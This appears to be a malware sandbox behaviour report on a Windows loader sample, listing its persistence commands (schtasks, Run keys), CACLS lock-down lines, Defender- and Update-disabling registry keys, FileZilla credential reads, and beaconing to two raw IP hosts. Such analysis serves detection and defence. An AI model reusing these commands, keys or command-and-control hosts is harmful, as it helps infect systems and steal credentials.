RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {91150000-0011-0000-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {AC76BA86-7AD7-FFFF-7B44-AC0F074E4100} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Communicates with host for which no DNS query was performed (2 events)

host	77.91.68.63
host	83.97.73.131

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService June 26, 2023, 7:42 a.m.	service_handle: 0x0057e690 service_name: WinDefend control_code: 1		0	0
ControlService June 26, 2023, 7:42 a.m.	service_handle: 0x0057ebb8 service_name: wuauserv control_code: 1		0	0

Installs itself for autorun at Windows startup (10 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\foto172.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\fotod95.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Collects information about installed applications (50 out of 114 events)

Time & API	Arguments	Status
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Excel MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft PowerPoint MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Publisher MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Outlook MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Word MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - English regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Outils de vérification linguistique 2013 de Microsoft Office - Français regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - Español regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft InfoPath MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft DCF MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft OneNote MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Groove MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM UX MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Lync MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:42 a.m.	key_handle: 0x000003cc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW June 26, 2023, 7:43 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (12 events)

Time & API	Arguments	Status	Return
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA June 26, 2023, 7:42 a.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.84&sd=2f2805&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "rugen.exe" /P "test22:N"
cmdline	CACLS "..\200f691d32" /P "test22:R" /E
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "rugen.exe" /P "test22:N"&&CACLS "rugen.exe" /P "test22:R" /E&&echo Y\|CACLS "..\200f691d32" /P "test22:N"&&CACLS "..\200f691d32" /P "test22:R" /E&&Exit
cmdline	CACLS "..\200f691d32" /P "test22:N"
cmdline	cmd /k echo Y\|CACLS "rugen.exe" /P "test22:N"&&CACLS "rugen.exe" /P "test22:R" /E&&echo Y\|CACLS "..\200f691d32" /P "test22:N"&&CACLS "..\200f691d32" /P "test22:R" /E&&Exit
cmdline	CACLS "rugen.exe" /P "test22:R" /E

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

fotod95.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All